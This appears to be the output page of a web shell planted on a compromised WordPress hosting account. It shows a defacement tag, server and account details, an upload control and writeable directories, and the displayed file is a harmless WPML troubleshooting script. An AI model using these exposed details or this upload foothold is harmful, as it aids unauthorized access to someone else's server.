Heray-Was-Here
Server : Apache
System : Linux hybrid3195.ca.ns.planethoster.net 3.10.0-1160.119.1.el7.tuxcare.els19.x86_64 #1 SMP Mon Mar 31 17:29:00 UTC 2025 x86_64
User : alliancerealtynb ( 1004)
PHP Version : 7.4.33
Disable Function : noop
Directory :  /home/alliancerealtynb/wpml-string-translationOLD/res/js/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/alliancerealtynb/wpml-string-translationOLD/res/js/troubleshooting.js
jQuery(document).ready(function () {
    jQuery('.js-wpml-st-troubleshooting-action').click(function () {
        var self = jQuery(this);
        var nonce = self.data('nonce');
        var reload = self.data('reload');

        self.attr('disabled', 'disabled');
        self.after(icl_ajxloaderimg);
        jQuery.ajax({
            type : "post",
            url : ajaxurl,
            data : {
                action: self.data('action'),
                nonce: nonce
            },
            success: function() {
                if (reload) {
                    window.location.reload(true);
                } else {
                    alert(self.data('success-message'));
                }
            },
            complete: function() {
                self.removeAttr('disabled');
                self.next().fadeOut();
            }
        });
    });
});

Hry